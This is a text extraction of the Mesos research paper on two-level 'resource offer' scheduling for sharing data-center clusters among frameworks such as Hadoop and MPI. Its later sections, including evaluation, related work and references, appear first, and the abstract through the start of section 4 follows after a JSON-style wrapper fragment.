Figure 10, showing aver-\nages of 5 runs. We observe that the overhead remains\nsmall (less than one second) even at 50,000 nodes. In\nparticular, this overhead is much smaller than the aver-\nage task and job lengths in data center workloads (see\nSection 2). Because Mesos was also keeping the clus-\nter fully allocated, this indicates that the master kept up\nwith the load placed on it. Unfortunately, the EC2 vir-\ntualized environment limited scalability beyond 50,000\nslaves, because at 50,000 slaves the master was process-\ning 100,000 packets per second (in+out), which has been\nshown to be the current achievable limit on EC2 [12].\n6.6 Failure Recovery\nTo evaluate recovery from master failures, we conducted\nan experiment with 200 to 4000 slave daemons on 62\nEC2 nodes with 4 cores and 15 GB RAM. We ran 200\nframeworks that each launched 20-second tasks, and two\nMesos masters connected to a 5-node ZooKeeper quo-\nrum.We synchronized the two masters’ clocks using NTP\n12and measured the mean time to recovery (MTTR) after\nkilling the active master. The MTTR is the time for all of\nthe slaves and frameworks to connect to the second mas-\nter. In all cases, the MTTR was between 4 and 8 seconds,\nwith 95% confidence intervals of up to 3s on either side.\n6.7 Performance Isolation\nAs discussed in Section 3.4, Mesos leverages existing\nOS isolation mechanism to provide performance isola-\ntion between different frameworks’ tasks running on the\nsame slave. While these mechanisms are not perfect,\na preliminary evaluation of Linux Containers [9] shows\npromising results. In particular, using Containers to iso-\nlate CPU usage between a MediaWiki web server (con-\nsisting of multiple Apache processes running PHP) and a\n“hog” application (consisting of 256 processes spinning\nin infinite loops) shows on average only a 30% increase\nin request latency for Apache versus a 550% increase\nwhen running without Containers. We refer the reader to\n[29] for a fuller evaluation of OS isolation mechanisms.\n7 Related Work\nHPC and Grid Schedulers. The high performance\ncomputing (HPC) community has long been managing\nclusters [33, 41]. However, their target environment typ-\nically consists of specialized hardware, such as Infini-\nband and SANs, where jobs do not need to be scheduled\nlocal to their data. Furthermore, each job is tightly cou-\npled, often using barriers or message passing. Thus, each\njob is monolithic, rather than composed of fine-grained\ntasks, and does not change its resource demands during\nits lifetime. For these reasons, HPC schedulers use cen-\ntralized scheduling, and require users to declare the re-\nquired resources at job submission time. Jobs are then\ngiven coarse-grained allocations of the cluster. Unlike\nthe Mesos approach, this does not allow jobs to locally\naccess data distributed across the cluster. Furthermore,\njobs cannot grow and shrink dynamically. In contrast,\nMesos supports fine-grained sharing at the level of tasks\nand allows frameworks to control their placement.\nGrid computing has mostly focused on the problem\nof making diverse virtual organizations share geograph-\nically distributed and separately administered resources\nin a secure and interoperable way. Mesos could well be\nused within a virtual organization inside a larger grid.\nPublic and Private Clouds. Virtual machine clouds\nsuch as Amazon EC2 [1] and Eucalyptus [31] share\ncommon goals with Mesos, such as isolating applica-\ntions while providing a low-level abstraction (VMs).\nHowever, they differ from Mesos in several important\nways. First, their relatively coarse grained VM allocation\nmodel leads to less efficient resource utilization and data\nsharing than in Mesos. Second, these systems generally\ndo not let applications specify placement needs beyondthe size of VM they require. In contrast, Mesos allows\nframeworks to be highly selective about task placement.\nQuincy. Quincy [25] is a fair scheduler for Dryad\nthat uses a centralized scheduling algorithm for Dryad’s\nDAG-based programming model. In contrast, Mesos\nprovides the lower-level abstraction of resource offers to\nsupport multiple cluster computing frameworks.\nCondor. The Condor cluster manager uses the Class-\nAds language [32] to match nodes to jobs. Using a re-\nsource specification language is not as flexible for frame-\nworks as resource offers, since not all requirements may\nbe expressible. Also, porting existing frameworks, which\nhave their own schedulers, to Condor would be more dif-\nficult than porting them to Mesos, where existing sched-\nulers fit naturally into the two-level scheduling model.\nNext-Generation Hadoop. Recently, Yahoo! an-\nnounced a redesign for Hadoop that uses a two-level\nscheduling model, where per-application masters request\nresources from a central manager [14]. The design aims\nto support non-MapReduce applications as well. While\ndetails about the scheduling model in this system are cur-\nrently unavailable, we believe that the new application\nmasters could naturally run as Mesos frameworks.\n8 Conclusion and Future Work\nWe have presented Mesos, a thin management layer that\nallows diverse cluster computing frameworks to effi-\nciently share resources. Mesos is built around two de-\nsign elements: a fine-grained sharing model at the level\nof tasks, and a distributed scheduling mechanism called\nresource offers that delegates scheduling decisions to the\nframeworks. Together, these elements let Mesos achieve\nhigh utilization, respond quickly to workload changes,\nand cater to diverse frameworks while remaining scalable\nand robust. We have shown that existing frameworks\ncan effectively share resources using Mesos, that Mesos\nenables the development of specialized frameworks pro-\nviding major performance gains, such as Spark, and that\nMesos’s simple design allows the system to be fault tol-\nerant and to scale to 50,000 nodes.\nIn future work, we plan to further analyze the re-\nsource offer model and determine whether any exten-\nsions can improve its efficiency while retaining its flex-\nibility. In particular, it may be possible to have frame-\nworks give richer hints about offers they would like to\nreceive. Nonetheless, we believe that below any hint\nsystem, frameworks should still have the ability to re-\nject offers and to choose which tasks to launch on each\nresource, so that their evolution is not constrained by the\nhint language provided by the system.\nWe are also currently using Mesos to manage re-\nsources on a 40-node cluster in our lab and in a test de-\nployment at Twitter, and plan to report on lessons from\n13these deployments in future work.\n9 Acknowledgements\nWe thank our industry colleagues at Google, Twitter,\nFacebook, Yahoo! and Cloudera for their valuable feed-\nback on Mesos. This research was supported by Califor-\nnia MICRO, California Discovery, the Natural Sciences\nand Engineering Research Council of Canada, a National\nScience Foundation Graduate Research Fellowship,5the\nSwedish Research Council, and the following Berkeley\nRAD Lab sponsors: Google, Microsoft, Oracle, Ama-\nzon, Cisco, Cloudera, eBay, Facebook, Fujitsu, HP, Intel,\nNetApp, SAP, VMware, and Yahoo!.\nReferences\n[1] Amazon EC2. http://aws.amazon.com/ec2 .\n[2] Apache Hadoop. http://hadoop.apache.org .\n[3] Apache Hive. http://hadoop.apache.org/hive .\n[4] Apache ZooKeeper. hadoop.apache.org/zookeeper .\n[5] Hive – A Petabyte Scale Data Warehouse using Hadoop.\nhttp://www.facebook.com/note.php?note_id=\n89508453919 .\n[6] Hive performance benchmarks. http:\n//issues.apache.org/jira/browse/HIVE-396 .\n[7] LibProcess Homepage. http:\n//www.eecs.berkeley.edu/ ˜benh/libprocess .\n[8] Linux 2.6.33 release notes.\nhttp://kernelnewbies.org/Linux_2_6_33 .\n[9] Linux containers (LXC) overview document.\nhttp://lxc.sourceforge.net/lxc.html .\n[10] Personal communication with Dhruba Borthakur from Facebook.\n[11] Personal communication with Owen O’Malley and Arun C.\nMurthy from the Yahoo! Hadoop team.\n[12] RightScale blog. blog.rightscale.com/2010/04/01/\nbenchmarking-load-balancers-in-the-cloud .\n[13] Solaris Resource Management.\nhttp://docs.sun.com/app/docs/doc/817-1592 .\n[14] The Next Generation of Apache Hadoop MapReduce.\nhttp://developer.yahoo.com/blogs/hadoop/\nposts/2011/02/mapreduce-nextgen .\n[15] E. Anderson, Z. Bai, J. Dongarra, A. Greenbaum, A. McKenney,\nJ. Du Croz, S. Hammerling, J. Demmel, C. Bischof, and\nD. Sorensen. LAPACK: a portable linear algebra library for\nhigh-performance computers. In Supercomputing ’90 , 1990.\n[16] A. Bouteiller, F. Cappello, T. Herault, G. Krawezik,\nP. Lemarinier, and F. Magniette. Mpich-v2: a fault tolerant MPI\nfor volatile nodes based on pessimistic sender based message\nlogging. In Supercomputing ’03 , 2003.\n[17] T. Condie, N. Conway, P. Alvaro, and J. M. Hellerstein.\nMapReduce online. In NSDI ’10 , May 2010.\n[18] J. Dean and S. Ghemawat. MapReduce: Simplified data\nprocessing on large clusters. In OSDI , pages 137–150, 2004.\n[19] J. Ekanayake, H. Li, B. Zhang, T. Gunarathne, S.-H. Bae, J. Qiu,\nand G. Fox. Twister: a runtime for iterative mapreduce. In Proc.\nHPDC ’10 , 2010.\n[20] D. R. Engler, M. F. Kaashoek, and J. O’Toole. Exokernel: An\noperating system architecture for application-level resource\nmanagement. In SOSP , pages 251–266, 1995.\n[21] A. Ghodsi, M. Zaharia, B. Hindman, A. Konwinski, S. Shenker,\nand I. Stoica. Dominant resource fairness: fair allocation of\nmultiple resource types. In NSDI , 2011.\n5Any opinions, findings, conclusions, or recommendations ex-\npressed in this publication are those of the authors and do not nec-\nessarily reflect the views of the NSF.[22] T. Hastie, R. Tibshirani, and J. Friedman. The Elements of\nStatistical Learning: Data Mining, Inference, and Prediction .\nSpringer Publishing Company, New York, NY , 2009.\n[23] B. Hindman, A. Konwinski, M. Zaharia, A. Ghodsi, A. D.\nJoseph, R. H. Katz, S. Shenker, and I. Stoica. Mesos: A platform\nfor fine-grained resource sharing in the data center. Technical\nReport UCB/EECS-2010-87, UC Berkeley, May 2010.\n[24] M. Isard, M. Budiu, Y . Yu, A. Birrell, and D. Fetterly. Dryad:\ndistributed data-parallel programs from sequential building\nblocks. In EuroSys 07 , 2007.\n[25] M. Isard, V . Prabhakaran, J. Currey, U. Wieder, K. Talwar, and\nA. Goldberg. Quincy: Fair scheduling for distributed computing\nclusters. In SOSP , November 2009.\n[26] S. Y . Ko, I. Hoque, B. Cho, and I. Gupta. On availability of\nintermediate data in cloud computations. In HOTOS , May 2009.\n[27] D. Logothetis, C. Olston, B. Reed, K. C. Webb, and K. Yocum.\nStateful bulk processing for incremental analytics. In Proc. ACM\nsymposium on Cloud computing , SoCC ’10, 2010.\n[28] G. Malewicz, M. H. Austern, A. J. Bik, J. C. Dehnert, I. Horn,\nN. Leiser, and G. Czajkowski. Pregel: a system for large-scale\ngraph processing. In SIGMOD , pages 135–146, 2010.\n[29] J. N. Matthews, W. Hu, M. Hapuarachchi, T. Deshane,\nD. Dimatos, G. Hamilton, M. McCabe, and J. Owens.\nQuantifying the performance isolation properties of\nvirtualization systems. In ExpCS ’07 , 2007.\n[30] D. G. Murray, M. Schwarzkopf, C. Smowton, S. Smith,\nA. Madhavapeddy, and S. Hand. Ciel: a universal execution\nengine for distributed data-flow computing. In NSDI , 2011.\n[31] D. Nurmi, R. Wolski, C. Grzegorczyk, G. Obertelli, S. Soman,\nL. Youseff, and D. Zagorodnov. The Eucalyptus open-source\ncloud-computing system. In CCA ’08 , 2008.\n[32] R. Raman, M. Livny, and M. Solomon. Matchmaking: An\nextensible framework for distributed resource management.\nCluster Computing , 2:129–138, April 1999.\n[33] G. Staples. TORQUE resource manager. In Proc.\nSupercomputing ’06 , 2006.\n[34] I. Stoica, H. Zhang, and T. S. E. Ng. A hierarchical fair service\ncurve algorithm for link-sharing, real-time and priority services.\nInSIGCOMM ’97 , pages 249–262, 1997.\n[35] J. Stone. Tachyon ray tracing system.\nhttp://jedi.ks.uiuc.edu/ ˜johns/raytracer .\n[36] C. A. Waldspurger and W. E. Weihl. Lottery scheduling: flexible\nproportional-share resource management. In OSDI , 1994.\n[37] Y . Yu, P. K. Gunda, and M. Isard. Distributed aggregation for\ndata-parallel computing: interfaces and implementations. In\nSOSP ’09 , pages 247–260, 2009.\n[38] M. Zaharia, D. Borthakur, J. Sen Sarma, K. Elmeleegy,\nS. Shenker, and I. Stoica. Delay scheduling: A simple technique\nfor achieving locality and fairness in cluster scheduling. In\nEuroSys 10 , 2010.\n[39] M. Zaharia, M. Chowdhury, M. J. Franklin, S. Shenker, and\nI. Stoica. Spark: cluster computing with working sets. In Proc.\nHotCloud ’10 , 2010.\n[40] M. Zaharia, A. Konwinski, A. D. Joseph, R. Katz, and I. Stoica.\nImproving MapReduce performance in heterogeneous\nenvironments. In Proc. OSDI ’08 , 2008.\n[41] S. Zhou. LSF: Load sharing in large-scale heterogeneous\ndistributed systems. In Workshop on Cluster Computing , 1992.\n[42] Y . Zhou, D. Wilkinson, R. Schreiber, and R. Pan. Large-scale\nparallel collaborative filtering for the Netflix prize. In AAIM ,\npages 337–348. Springer-Verlag, 2008.\n14"}],"string":"[\n {\n \"data\": \"Mesos: A Platform for Fine-Grained Resource Sharing in the Data Center\\nBenjamin Hindman, Andy Konwinski, Matei Zaharia,\\nAli Ghodsi, Anthony D. Joseph, Randy Katz, Scott Shenker, Ion Stoica\\nUniversity of California, Berkeley\\nAbstract\\nWe present Mesos, a platform for sharing commod-\\nity clusters between multiple diverse cluster computing\\nframeworks, such as Hadoop and MPI. Sharing improves\\ncluster utilization and avoids per-framework data repli-\\ncation. Mesos shares resources in a fine-grained man-\\nner, allowing frameworks to achieve data locality by\\ntaking turns reading data stored on each machine. To\\nsupport the sophisticated schedulers of today’s frame-\\nworks, Mesos introduces a distributed two-level schedul-\\ning mechanism called resource offers. Mesos decides\\nhow many resources to offer each framework, while\\nframeworks decide which resources to accept and which\\ncomputations to run on them. Our results show that\\nMesos can achieve near-optimal data locality when shar-\\ning the cluster among diverse frameworks, can scale to\\n50,000 (emulated) nodes, and is resilient to failures.\\n1 Introduction\\nClusters of commodity servers have become a major\\ncomputing platform, powering both large Internet ser-\\nvices and a growing number of data-intensive scientific\\napplications. Driven by these applications, researchers\\nand practitioners have been developing a diverse array of\\ncluster computing frameworks to simplify programming\\nthe cluster. Prominent examples include MapReduce\\n[18], Dryad [24], MapReduce Online [17] (which sup-\\nports streaming jobs), Pregel [28] (a specialized frame-\\nwork for graph computations), and others [27, 19, 30].\\nIt seems clear that new cluster computing frameworks1\\nwill continue to emerge, and that no framework will be\\noptimal for all applications. Therefore, organizations\\nwill want to run multiple frameworks in the same cluster ,\\npicking the best one for each application. Multiplexing\\na cluster between frameworks improves utilization and\\nallows applications to share access to large datasets that\\nmay be too costly to replicate across clusters.\\n1By “framework,” we mean a software system that manages and\\nexecutes one or more jobs on a cluster.Two common solutions for sharing a cluster today are\\neither to statically partition the cluster and run one frame-\\nwork per partition, or to allocate a set of VMs to each\\nframework. Unfortunately, these solutions achieve nei-\\nther high utilization nor efficient data sharing. The main\\nproblem is the mismatch between the allocation granular-\\nities of these solutions and of existing frameworks. Many\\nframeworks, such as Hadoop and Dryad, employ a fine-\\ngrained resource sharing model, where nodes are subdi-\\nvided into “slots” and jobs are composed of short tasks\\nthat are matched to slots [25, 38]. The short duration of\\ntasks and the ability to run multiple tasks per node allow\\njobs to achieve high data locality, as each job will quickly\\nget a chance to run on nodes storing its input data. Short\\ntasks also allow frameworks to achieve high utilization,\\nas jobs can rapidly scale when new nodes become avail-\\nable. Unfortunately, because these frameworks are de-\\nveloped independently, there is no way to perform fine-\\ngrained sharing across frameworks, making it difficult to\\nshare clusters and data efficiently between them.\\nIn this paper, we propose Mesos, a thin resource shar-\\ning layer that enables fine-grained sharing across diverse\\ncluster computing frameworks, by giving frameworks a\\ncommon interface for accessing cluster resources.\\nThe main design question for Mesos is how to build\\na scalable and efficient system that supports a wide ar-\\nray of both current and future frameworks. This is chal-\\nlenging for several reasons. First, each framework will\\nhave different scheduling needs, based on its program-\\nming model, communication pattern, task dependencies,\\nand data placement. Second, the scheduling system must\\nscale to clusters of tens of thousands of nodes running\\nhundreds of jobs with millions of tasks. Finally, because\\nall the applications in the cluster depend on Mesos, the\\nsystem must be fault-tolerant and highly available.\\nOne approach would be for Mesos to implement a cen-\\ntralized scheduler that takes as input framework require-\\nments, resource availability, and organizational policies,\\nand computes a global schedule for all tasks. While this\\n1approach can optimize scheduling across frameworks, it\\nfaces several challenges. The first is complexity. The\\nscheduler would need to provide a sufficiently expres-\\nsive API to capture all frameworks’ requirements, and\\nto solve an online optimization problem for millions\\nof tasks. Even if such a scheduler were feasible, this\\ncomplexity would have a negative impact on its scala-\\nbility and resilience. Second, as new frameworks and\\nnew scheduling policies for current frameworks are con-\\nstantly being developed [37, 38, 40, 26], it is not clear\\nwhether we are even at the point to have a full specifi-\\ncation of framework requirements. Third, many existing\\nframeworks implement their own sophisticated schedul-\\ning [25, 38], and moving this functionality to a global\\nscheduler would require expensive refactoring.\\nInstead, Mesos takes a different approach: delegating\\ncontrol over scheduling to the frameworks. This is ac-\\ncomplished through a new abstraction, called a resource\\noffer, which encapsulates a bundle of resources that a\\nframework can allocate on a cluster node to run tasks.\\nMesos decides how many resources to offer each frame-\\nwork, based on an organizational policy such as fair shar-\\ning, while frameworks decide which resources to accept\\nand which tasks to run on them. While this decentral-\\nized scheduling model may not always lead to globally\\noptimal scheduling, we have found that it performs sur-\\nprisingly well in practice, allowing frameworks to meet\\ngoals such as data locality nearly perfectly. In addition,\\nresource offers are simple and efficient to implement, al-\\nlowing Mesos to be highly scalable and robust to failures.\\nMesos also provides other benefits to practitioners.\\nFirst, even organizations that only use one framework\\ncan use Mesos to run multiple instances of that frame-\\nwork in the same cluster, or multiple versions of the\\nframework. Our contacts at Yahoo! and Facebook in-\\ndicate that this would be a compelling way to isolate\\nproduction and experimental Hadoop workloads and to\\nroll out new versions of Hadoop [11, 10]. Second,\\nMesos makes it easier to develop and immediately ex-\\nperiment with new frameworks. The ability to share re-\\nsources across multiple frameworks frees the developers\\nto build and run specialized frameworks targeted at par-\\nticular problem domains rather than one-size-fits-all ab-\\nstractions. Frameworks can therefore evolve faster and\\nprovide better support for each problem domain.\\nWe have implemented Mesos in 10,000 lines of C++.\\nThe system scales to 50,000 (emulated) nodes and uses\\nZooKeeper [4] for fault tolerance. To evaluate Mesos, we\\nhave ported three cluster computing systems to run over\\nit: Hadoop, MPI, and the Torque batch scheduler. To val-\\nidate our hypothesis that specialized frameworks provide\\nvalue over general ones, we have also built a new frame-\\nwork on top of Mesos called Spark, optimized for itera-\\ntive jobs where a dataset is reused in many parallel oper-\\n 0 0.1 0.2 0.3 0.4 0.5 0.6 0.7 0.8 0.9 1\\n 1 10 100 1000 10000 100000CDFDuration (s)MapReduce JobsMap & Reduce TasksFigure 1: CDF of job and task durations in Facebook’s Hadoop\\ndata warehouse (data from [38]).\\nations, and shown that Spark can outperform Hadoop by\\n10x in iterative machine learning workloads.\\nThis paper is organized as follows. Section 2 details\\nthe data center environment that Mesos is designed for.\\nSection 3 presents the architecture of Mesos. Section 4\\nanalyzes our distributed scheduling model (resource of-\\nfers) and characterizes the environments that it works\\nwell in. We present our implementation of Mesos in Sec-\\ntion 5 and evaluate it in Section 6. We survey related\\nwork in Section 7. Finally, we conclude in Section 8.\\n2 Target Environment\\nAs an example of a workload we aim to support, con-\\nsider the Hadoop data warehouse at Facebook [5]. Face-\\nbook loads logs from its web services into a 2000-node\\nHadoop cluster, where they are used for applications\\nsuch as business intelligence, spam detection, and ad\\noptimization. In addition to “production” jobs that run\\nperiodically, the cluster is used for many experimental\\njobs, ranging from multi-hour machine learning compu-\\ntations to 1-2 minute ad-hoc queries submitted interac-\\ntively through an SQL interface called Hive [3]. Most\\njobs are short (the median job being 84s long), and the\\njobs are composed of fine-grained map and reduce tasks\\n(the median task being 23s), as shown in Figure 1.\\nTo meet the performance requirements of these jobs,\\nFacebook uses a fair scheduler for Hadoop that takes ad-\\nvantage of the fine-grained nature of the workload to al-\\nlocate resources at the level of tasks and to optimize data\\nlocality [38]. Unfortunately, this means that the cluster\\ncan only run Hadoop jobs. If a user wishes to write an ad\\ntargeting algorithm in MPI instead of MapReduce, per-\\nhaps because MPI is more efficient for this job’s commu-\\nnication pattern, then the user must set up a separate MPI\\ncluster and import terabytes of data into it. This problem\\nis not hypothetical; our contacts at Yahoo! and Facebook\\nreport that users want to run MPI and MapReduce Online\\n(a streaming MapReduce) [11, 10]. Mesos aims to pro-\\nvide fine-grained sharing between multiple cluster com-\\nputing frameworks to enable these usage scenarios.\\n2Mesos slave \\nMesos slave \\nMesos slave MPI executor task Hadoop executor task MPI executor task task Hadoop executor task task \\nMesos master \\nHadoop scheduler \\nMPI scheduler \\nStandby master \\nStandby master ZooKeeper quorum \\nFigure 2: Mesos architecture diagram, showing two running\\nframeworks (Hadoop and MPI).\\n3 Architecture\\nWe begin our description of Mesos by discussing our de-\\nsign philosophy. We then describe the components of\\nMesos, our resource allocation mechanisms, and how\\nMesos achieves isolation, scalability, and fault tolerance.\\n3.1 Design Philosophy\\nMesos aims to provide a scalable and resilient core for\\nenabling various frameworks to efficiently share clusters.\\nBecause cluster frameworks are both highly diverse and\\nrapidly evolving, our overriding design philosophy has\\nbeen to define a minimal interface that enables efficient\\nresource sharing across frameworks, and otherwise push\\ncontrol of task scheduling and execution to the frame-\\nworks. Pushing control to the frameworks has two bene-\\nfits. First, it allows frameworks to implement diverse ap-\\nproaches to various problems in the cluster (e.g., achiev-\\ning data locality, dealing with faults), and to evolve these\\nsolutions independently. Second, it keeps Mesos simple\\nand minimizes the rate of change required of the system,\\nwhich makes it easier to keep Mesos scalable and robust.\\nAlthough Mesos provides a low-level interface, we ex-\\npect higher-level libraries implementing common func-\\ntionality (such as fault tolerance) to be built on top of\\nit. These libraries would be analogous to library OSes in\\nthe exokernel [20]. Putting this functionality in libraries\\nrather than in Mesos allows Mesos to remain small and\\nflexible, and lets the libraries evolve independently.\\n3.2 Overview\\nFigure 2 shows the main components of Mesos. Mesos\\nconsists of a master process that manages slave daemons\\nrunning on each cluster node, and frameworks that run\\ntasks on these slaves.\\nThe master implements fine-grained sharing across\\nframeworks using resource offers . Each resource offer\\nis a list of free resources on multiple slaves. The master\\ndecides how many resources to offer to each framework\\naccording to an organizational policy, such as fair sharing\\nFW Scheduler Job 1 Job 2 Framework 1 \\nAllocation module Mesos master 1 4 Slave 1 Task Executor Task \\nFW Scheduler Job 1 Job 2 Framework 2 \\nTask Executor Task Slave 2 3 2 Figure 3: Resource offer example.\\nor priority. To support a diverse set of inter-framework\\nallocation policies, Mesos lets organizations define their\\nown policies via a pluggable allocation module.\\nEach framework running on Mesos consists of two\\ncomponents: a scheduler that registers with the master\\nto be offered resources, and an executor process that is\\nlaunched on slave nodes to run the framework’s tasks.\\nWhile the master determines how many resources to of-\\nfer to each framework, the frameworks’ schedulers select\\nwhich of the offered resources to use. When a framework\\naccepts offered resources, it passes Mesos a description\\nof the tasks it wants to launch on them.\\nFigure 3 shows an example of how a framework gets\\nscheduled to run tasks. In step (1), slave 1 reports\\nto the master that it has 4CPUs and 4GB of mem-\\nory free. The master then invokes the allocation mod-\\nule, which tells it that framework 1 should be offered\\nall available resources. In step (2), the master sends a\\nresource offer describing these resources to framework\\n1. In step (3), the framework’s scheduler replies to the\\nmaster with information about two tasks to run on the\\nslave, usingh2CPUs;1GB RAMifor the first task, and\\nh1CPUs;2GB RAMifor the second task. Finally, in\\nstep (4), the master sends the tasks to the slave, which al-\\nlocates appropriate resources to the framework’s execu-\\ntor, which in turn launches the two tasks (depicted with\\ndotted borders). Because 1 CPU and 1 GB of RAM are\\nstill free, the allocation module may now offer them to\\nframework 2. In addition, this resource offer process re-\\npeats when tasks finish and new resources become free.\\nTo maintain a thin interface and enable frameworks\\nto evolve independently, Mesos does not require frame-\\nworks to specify their resource requirements or con-\\nstraints. Instead, Mesos gives frameworks the ability to\\nreject offers. A framework can reject resources that do\\nnot satisfy its constraints in order to wait for ones that\\ndo. Thus, the rejection mechanism enables frameworks\\nto support arbitrarily complex resource constraints while\\nkeeping Mesos simple and scalable.\\nOne potential challenge with solely using the rejec-\\n3tion mechanism to satisfy all framework constraints is\\nefficiency: a framework may have to wait a long time\\nbefore it receives an offer satisfying its constraints, and\\nMesos may have to send an offer to many frameworks\\nbefore one of them accepts it. To avoid this, Mesos also\\nallows frameworks to set filters , which are Boolean pred-\\nicates specifying that a framework will always reject cer-\\ntain resources. For example, a framework might specify\\na whitelist of nodes it can run on.\\nThere are two points worth noting. First, filters repre-\\nsent just a performance optimization for the resource of-\\nfer model, as the frameworks still have the ultimate con-\\ntrol to reject any resources that they cannot express filters\\nfor and to choose which tasks to run on each node. Sec-\\nond, as we will show in this paper, when the workload\\nconsists of fine-grained tasks ( e.g., in MapReduce and\\nDryad workloads), the resource offer model performs\\nsurprisingly well even in the absence of filters. In par-\\nticular, we have found that a simple policy called delay\\nscheduling [38], in which frameworks wait for a limited\\ntime to acquire nodes storing their data, yields nearly op-\\ntimal data locality with a wait time of 1-5s.\\nIn the rest of this section, we describe how Mesos per-\\nforms two key functions: resource allocation ( x3.3) and\\nresource isolation ( x3.4). We then describe filters and\\nseveral other mechanisms that make resource offers scal-\\nable and robust (x3.5). Finally, we discuss fault tolerance\\nin Mesos (x3.6) and summarize the Mesos API ( x3.7).\\n3.3 Resource Allocation\\nMesos delegates allocation decisions to a pluggable al-\\nlocation module, so that organizations can tailor alloca-\\ntion to their needs. So far, we have implemented two\\nallocation modules: one that performs fair sharing based\\non a generalization of max-min fairness for multiple re-\\nsources [21] and one that implements strict priorities.\\nSimilar policies are used in Hadoop and Dryad [25, 38].\\nIn normal operation, Mesos takes advantage of the\\nfact that most tasks are short, and only reallocates re-\\nsources when tasks finish. This usually happens fre-\\nquently enough so that new frameworks acquire their\\nshare quickly. For example, if a framework’s share is\\n10% of the cluster, it needs to wait approximately 10%\\nof the mean task length to receive its share. However,\\nif a cluster becomes filled by long tasks, e.g., due to a\\nbuggy job or a greedy framework, the allocation module\\ncan also revoke (kill) tasks. Before killing a task, Mesos\\ngives its framework a grace period to clean it up.\\nWe leave it up to the allocation module to select the\\npolicy for revoking tasks, but describe two related mech-\\nanisms here. First, while killing a task has a low impact\\non many frameworks ( e.g.,MapReduce), it is harmful for\\nframeworks with interdependent tasks ( e.g.,MPI). We al-\\nlow these frameworks to avoid being killed by letting al-location modules expose a guaranteed allocation to each\\nframework—a quantity of resources that the framework\\nmay hold without losing tasks. Frameworks read their\\nguaranteed allocations through an API call. Allocation\\nmodules are responsible for ensuring that the guaranteed\\nallocations they provide can all be met concurrently. For\\nnow, we have kept the semantics of guaranteed alloca-\\ntions simple: if a framework is below its guaranteed al-\\nlocation, none of its tasks should be killed, and if it is\\nabove, any of its tasks may be killed.\\nSecond, to decide when to trigger revocation, Mesos\\nmust know which of the connected frameworks would\\nuse more resources if they were offered them. Frame-\\nworks indicate their interest in offers through an API call.\\n3.4 Isolation\\nMesos provides performance isolation between frame-\\nwork executors running on the same slave by leveraging\\nexisting OS isolation mechanisms. Since these mecha-\\nnisms are platform-dependent, we support multiple iso-\\nlation mechanisms through pluggable isolation modules .\\nWe currently isolate resources using OS container\\ntechnologies, specifically Linux Containers [9] and So-\\nlaris Projects [13]. These technologies can limit the\\nCPU, memory, network bandwidth, and (in new Linux\\nkernels) I/O usage of a process tree. These isolation tech-\\nnologies are not perfect, but using containers is already\\nan advantage over frameworks like Hadoop, where tasks\\nfrom different jobs simply run in separate processes.\\n3.5 Making Resource Offers Scalable and Robust\\nBecause task scheduling in Mesos is a distributed pro-\\ncess, it needs to be efficient and robust to failures. Mesos\\nincludes three mechanisms to help with this goal.\\nFirst, because some frameworks will always reject cer-\\ntain resources, Mesos lets them short-circuit the rejection\\nprocess and avoid communication by providing filters to\\nthe master. We currently support two types of filters:\\n“only offer nodes from list L” and “only offer nodes with\\nat leastRresources free”. However, other types of pred-\\nicates could also be supported. Note that unlike generic\\nconstraint languages, filters are Boolean predicates that\\nspecify whether a framework will reject one bundle of\\nresources on one node, so they can be evaluated quickly\\non the master. Any resource that does not pass a frame-\\nwork’s filter is treated exactly like a rejected resource.\\nSecond, because a framework may take time to re-\\nspond to an offer, Mesos counts resources offered to a\\nframework towards its allocation of the cluster. This is\\na strong incentive for frameworks to respond to offers\\nquickly and to filter resources that they cannot use.\\nThird, if a framework has not responded to an offer\\nfor a sufficiently long time, Mesos rescinds the offer and\\nre-offers the resources to other frameworks.\\n4Scheduler Callbacks resourceOffer(offerId, offers) offerRescinded(offerId) statusUpdate(taskId, status) slaveLost(slaveId) Executor Callbacks launchTask(taskDescriptor) killTask(taskId) Executor Actions sendStatus(taskId, status) Scheduler Actions replyToOffer(offerId, tasks) setNeedsOffers(bool) setFilters(filters) getGuaranteedShare() killTask(taskId) Table 1: Mesos API functions for schedulers and executors.\\n3.6 Fault Tolerance\\nSince all the frameworks depend on the Mesos master, it\\nis critical to make the master fault-tolerant. To achieve\\nthis, we have designed the master to be soft state , so that\\na new master can completely reconstruct its internal state\\nfrom information held by the slaves and the framework\\nschedulers. In particular, the master’s only state is the list\\nof active slaves, active frameworks, and running tasks.\\nThis information is sufficient to compute how many re-\\nsources each framework is using and run the allocation\\npolicy. We run multiple masters in a hot-standby config-\\nuration using ZooKeeper [4] for leader election. When\\nthe active master fails, the slaves and schedulers connect\\nto the next elected master and repopulate its state.\\nAside from handling master failures, Mesos reports\\nnode failures and executor crashes to frameworks’ sched-\\nulers. Frameworks can then react to these failures using\\nthe policies of their choice.\\nFinally, to deal with scheduler failures, Mesos allows a\\nframework to register multiple schedulers such that when\\none fails, another one is notified by the Mesos master to\\ntake over. Frameworks must use their own mechanisms\\nto share state between their schedulers.\\n3.7 API Summary\\nTable 1 summarizes the Mesos API. The “callback”\\ncolumns list functions that frameworks must implement,\\nwhile “actions” are operations that they can invoke.\\n4 Mesos Behavior\\nIn this section, we study Mesos’s behavior for different\\nworkloads. Our goal is not to develop an exact model of\\nthe system, but to provide a coarse understanding of its\\nbehavior, in order to characterize the environments that\\nMesos’s distributed scheduling model works well in.\\nIn short, we find that Mesos performs very well when\\nframeworks can scale up and down elastically, tasks\\ndurations are homogeneous, and frameworks prefer all\\nnodes equally (x4.2). When different frameworks pre-\\nfer different nodes, we show that Mesos can emulate a\\ncentralized scheduler that performs fair sharing across\\nframeworks (x4.3). In addition, we show that Mesos can\\nhandle heterogeneous task durations without impactingthe performance of frameworks with short tasks ( x4.4).\\nWe also discuss how frameworks are incentivized to im-\\nprove their performance under Mesos, and argue that\\nthese incentives also improve overall cluster utilization\\n(x4.5). We conclude this section with some limitations\\nof Mesos’s distributed scheduling model ( x4.6).\\n4.1 Definitions, Metrics and Assumptions\\nIn our discussion, we consider three metrics:\\n\\u000fFramework ramp-up time: time it takes a new\\nframework to achieve its allocation ( e.g., fair share);\\n\\u000fJob completion time: time it takes a job to complete,\\nassuming one job per framework;\\n\\u000fSystem utilization: total cluster utilization.\\nWe characterize workloads along two dimensions: elas-\\nticity and task duration distribution. An elastic frame-\\nwork, such as Hadoop and Dryad, can scale its resources\\nup and down, i.e.,it can start using nodes as soon as it\\nacquires them and release them as soon its task finish. In\\ncontrast, a rigid framework, such as MPI, can start run-\\nning its jobs only after it has acquired a fixed quantity of\\nresources, and cannot scale up dynamically 